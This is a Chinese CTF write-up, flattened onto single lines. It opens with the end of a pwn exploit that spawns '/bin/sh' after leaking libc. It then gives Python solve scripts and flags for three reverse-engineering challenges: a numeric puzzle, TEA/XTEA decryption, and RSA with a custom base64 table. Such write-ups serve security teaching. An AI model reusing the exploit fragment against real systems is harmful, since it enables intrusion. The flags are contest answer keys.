'/bin/sh\x00')edit(0,0)log.info("libc_base------------------>"+hex(libc_base))p.interactive()RE附件:https://pan.baidu.com/s/1fU--SjhDX0QrB3b9nPsDEQ,提取码:subo1.ezmath奇怪的思路,但也算是出了flag。bdl_4020是一个double数组,内容是19个小数。sub_13F3函数如图:v3的初值是0.2021,但是在运行过程中修改成了0.000483v3是一个递推的关系,递推公式是a n + 1 = e − n × a n a_{n+1}=e-n\times a_na n+1 =e−n×a n用python简单的打一个表,可以发现v3初值无论为多少,经过80次左右的循环后,都会在正负无穷之间跳跃。>>> v3 = [0.000483]>>> for i in range(0x2021,0x2021+100): v3.append(math.e-i*v3[-1]) >>> v3[-20:][-inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf]v3是不收敛的,更不用说令v3等于double数组中的小数值。多种尝试无果,于是尝试让a n 强行收敛试试,也就是令即化简得:很奇怪但大家懂这意思就行观察double数组中的值,e i \frac{e}{i} ie 的值都接近整数>>> [math.e/i for i in dbl][27751.99996396786, 26466.999962218535,29564.999966177365,24930.99995989091,24430.999959070075, 26981.999962939633, 24430.999959070075, 25960.999961482154, 24426.999959063374, 25965.99996148958, 24426.999959063374, 24939.999959905384,24430.999959070075, 24932.99995989413, 24418.999959049965, 26996.999962960217, 24431.999959071745, 24941.999959908593,32098.999968847354]可以初步判断是正确的于是把 的值作为flag内容代码如下from math import *a = [0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,\ 0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,\ 0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,\ 0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,\ 0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,\ 0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,\ 0.00008468431512187874]aa = [round(e/i) for i in a]def f(n): b = bin(n)[2:].zfill(16) return chr(int(b[8:],2))+chr(int(b[:8],2)) #是后半段+前半段,要反过来print(''.join(f(i) for i in aa))#===============输出========================#hlcg}scao_fio_iek_nek_lao_eac_uip_nac}很明显有flag的形式了,但是需要调整。前缀“ flag{ ”与输出“ hlcg} ”,观察得到,是每两个字符的前一个字符,对应ASCII码+2即可。于是修改函数的返回值def f(n): b = bin(n)[2:].zfill(16) return chr(int(b[8:],2)-2)+chr(int(b[:8],2)) #这里减2得到输出flag{saam_dim_gei_lei_jam_caa_sin_laa}import codecst=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895, 0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854, 0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219, 0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966, 0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088, 0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298, 0.00008468431512187874]div = 2.718281828459045def c(n): t_int = int(div // n) print(hex(t_int)) if abs(t_int * n - div) < abs((t_int - 1) * n - div): t_int -=1 t_hex = hex(t_int)[2:] t_chr = codecs.decode(t_hex,'hex') return t_chr[::-1].decode()for i in t: print(c(i),end='n')2.LongTimeAgodef xt_dec(num, enc, k): value0 = enc[0] value1 = enc[1] data = 0x70C88617 sum = 0xE6EF3D20 for i in range(num): value1 -= (((value0 << 4) ^ (value0 >> 5)) + value0) ^ (sum + k[(sum >> 11) & 3]) value1 &= 0xffffffff sum += data value0 -= (((value1 << 4) ^ (value1 >> 5)) + value1) ^ (sum + k[sum & 3]) value0 &= 0xffffffff return (value0, value1)def t_dec(enc, k): value0 = enc[0] value1 = enc[1] sum = 0xa6a53780 data = 0x3D3529BC for i in range(32): value1 -= ((value0 << 4) + k[2]) ^ (value0 + sum) ^ ((value0 >> 5) + k[3]) value1 &= 0xffffffff value0 -= ((value1 << 4) + k[0]) ^ (value1 + sum) ^ ((value1 >> 5) + k[1]) value0 &= 0xffffffff sum -= data return (value0, value1)encode = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]for i in range(0, 4, 2): encode[i] ^= 0xfd encode[i + 1] ^= 0x1fdfor i in range(4, 8, 2): encode[i] ^= 0x3fd encode[i + 1] ^= 0x7fdk = [0xfffd, 0x1fffd, 0x3fffd, 0x7fffd]result = ''for i in range(0, 4, 2): a = xt_dec(32, encode[i:], k) result += hex(a[0])[2:] + hex(a[1])[2:]for i in range(4, 8, 2): a = t_dec(encode[i:], k) result += hex(a[0])[2:] + hex(a[1])[2:]print("QWB{" + result.upper() + "}")3.StandOnTheGiants题目的 java 层没什么代码,输入后直接调用 native 校验。校验函数伪代码如下: v3 = env; v4 = 0; v20 = a3; v5 = (*env)->GetStringUTFChars(env, a3, 0); v6 = strlen(v5); v8 = malloc(2 * v6 + 4); v9 = v8; while ( v6 != v4 ) { hex_byte_52318(v9, -1, v7, v5[v4]); v9 += 2; ++v4; } ctx = BN_CTX_new_5235C(); BN_CTX_start_5249C(ctx); bn_m = BN_CTX_get_5264C(ctx); BN_set_5BB08(&bn_m, v8); free(v8); bn_N = BN_CTX_get_5264C(ctx); bn_e = BN_CTX_get_5264C(ctx); _aeabi_memcpy8(temp, byte_2C6B0, 0xD1); for ( i = 0; i != 0xD1; ++i ) temp[i] ^= 0x3Du; BN_set_5BB08(&bn_N, temp); _aeabi_memclr8(temp, 209); v12 = 0; v21 = 0; v22 = 0; while ( v12 != 6 ) *(&v21 + v12++) ^= 0x30u; ++BYTE1(v21); ++BYTE1(v22); BN_set_5BB08(&bn_e, &v21); v21 = 0; v22 = 0; bn_c = BN_CTX_get_5264C(ctx); BN_powmod_529BC(bn_c, bn_m, bn_e, bn_N, ctx); v14 = sub_565A8(bn_c); v15 = malloc((v14 + 7) / 8); v16 = sub_56EB8(bn_c, v15); BN_CTX_end_525B8(ctx); BN_CTX_free_523E8(ctx); v17 = calloc(3u, v16); base64_52044(v15, v17, v16, 0); free(v15); v18 = strcmp( "bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG" "+/lmqEysrTdSD+eP+moP+l?+Np/oK=", v17); free(v17); (*v3)->ReleaseStringUTFChars(v3, v20, v5); result = _stack_chk_guard; if ( _stack_chk_guard == v27 ) result = v18; return result;静态编码了 openssl,利用其大数库实现了 RSA 加密。RSA 中的 n 是可查询到的。所以反解就容易了,唯一麻烦的是 base64 的反解。程序中使用的 base64 表中字符并不都是唯一的,有两个字符是重复的,所以还是要跑下,代码如下:# -*- coding:utf-8 -*-import base64import gmpy2import string,itertoolst1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@12't2 = string.uppercase+string.lowercase+string.digits+'+/'def main():# a = [ 0x0C, 0x0E, 0x0F, 0x0C, 0x79, 0x0F, 0x7B, 0x79, 0x79, 0x79, # 0x78, 0x05, 0x7F, 0x79, 0x04, 0x79, 0x7B, 0x7B, 0x0E, 0x0A, # 0x04, 0x7C, 0x7B, 0x7B, 0x0D, 0x0E, 0x0D, 0x79, 0x78, 0x0F, # 0x0D, 0x08, 0x7F, 0x05, 0x09, 0x0B, 0x78, 0x7F, 0x08, 0x7E, # 0x78, 0x7E, 0x7E, 0x09, 0x0D, 0x7B, 0x7C, 0x05, 0x7C, 0x7C, # 0x04, 0x7E, 0x0F, 0x7C, 0x05, 0x08, 0x7E, 0x78, 0x0E, 0x78, # 0x04, 0x04, 0x0F, 0x0C, 0x04, 0x0E, 0x78, 0x05, 0x0A, 0x0E, # 0x7F, 0x0F, 0x7F, 0x7E, 0x0B, 0x0B, 0x0A, 0x79, 0x7C, 0x7F, # 0x78, 0x0F, 0x7C, 0x7E, 0x0E, 0x78, 0x78, 0x04, 0x79, 0x79, # 0x0F, 0x0E, 0x7F, 0x0E, 0x7C, 0x04, 0x78, 0x79, 0x04, 0x78, # 0x7E, 0x0D, 0x7E, 0x0E, 0x7E, 0x0A, 0x09, 0x09, 0x08, 0x0B, # 0x0B, 0x0E, 0x7B, 0x08, 0x09, 0x08, 0x08, 0x09, 0x0B, 0x04, # 0x7F, 0x0A, 0x0F, 0x0A, 0x79, 0x79, 0x0B, 0x7B, 0x7F, 0x7E, # 0x0D, 0x0E, 0x7F, 0x0C, 0x7F, 0x7B, 0x04, 0x08, 0x79, 0x0D, # 0x0E, 0x7C, 0x0C, 0x0E, 0x7E, 0x0D, 0x0E, 0x0B, 0x05, 0x0B, # 0x09, 0x08, 0x0A, 0x0B, 0x0A, 0x0B, 0x0E, 0x0D, 0x7E, 0x0A, # 0x78, 0x7C, 0x7F, 0x7B, 0x08, 0x78, 0x0A, 0x7C, 0x7F, 0x08, # 0x7B, 0x7C, 0x0F, 0x0A, 0x7F, 0x04, 0x09, 0x7C, 0x79, 0x78, # 0x0A, 0x78, 0x0C, 0x78, 0x0F, 0x0E, 0x7F, 0x7E, 0x7E, 0x0B, # 0x08, 0x79, 0x0F, 0x7C, 0x0A, 0x79, 0x78, 0x79, 0x0C, 0x7E, # 0x08, 0x7F, 0x0E, 0x0B, 0x09, 0x7F, 0x08, 0x0C, 0x3D,]# b = map(lambda x:chr(x^0x3d),a)# print(''.join(b)) n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51 p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711 q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367 assert(n==p*q) e = 0x10001 s='bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK=' t = string.maketrans(t1,t2) ite1 = itertools.product('+1',repeat=10) idx1 = [6,25,26,45,77,110,123,126,130,133] idx2 = [22,43,59,74] for it1 in ite1: ite2 = itertools.product('-2',repeat=4) for it2 in ite2: l = list(s) for i in range(10): l[idx1[i]] = it1[i] for i in range(4): l[idx2[i]] = it2[i] c = string.translate(''.join(l),t) d = gmpy2.invert(e,(p-1)*(q-1)) tmp = base64.b64decode(c).encode('hex') tmp = int(tmp,16) m = gmpy2.powmod(tmp,d,n) tmp = hex(m)[2:].replace('L','') if len(tmp) % 2 != 0: tmp = '0'+tmp if len(hex(m)) < 100: print(c,hex(m)[2:].replace('L','').decode('hex')) exit()if __name__ == '__main__': main()参考文献:https://www.anquanke.com/post/id/244824#h3-13 https://blog.csdn.net/weixin_39190897/article/details/118066125
创建帐户或登录后发表意见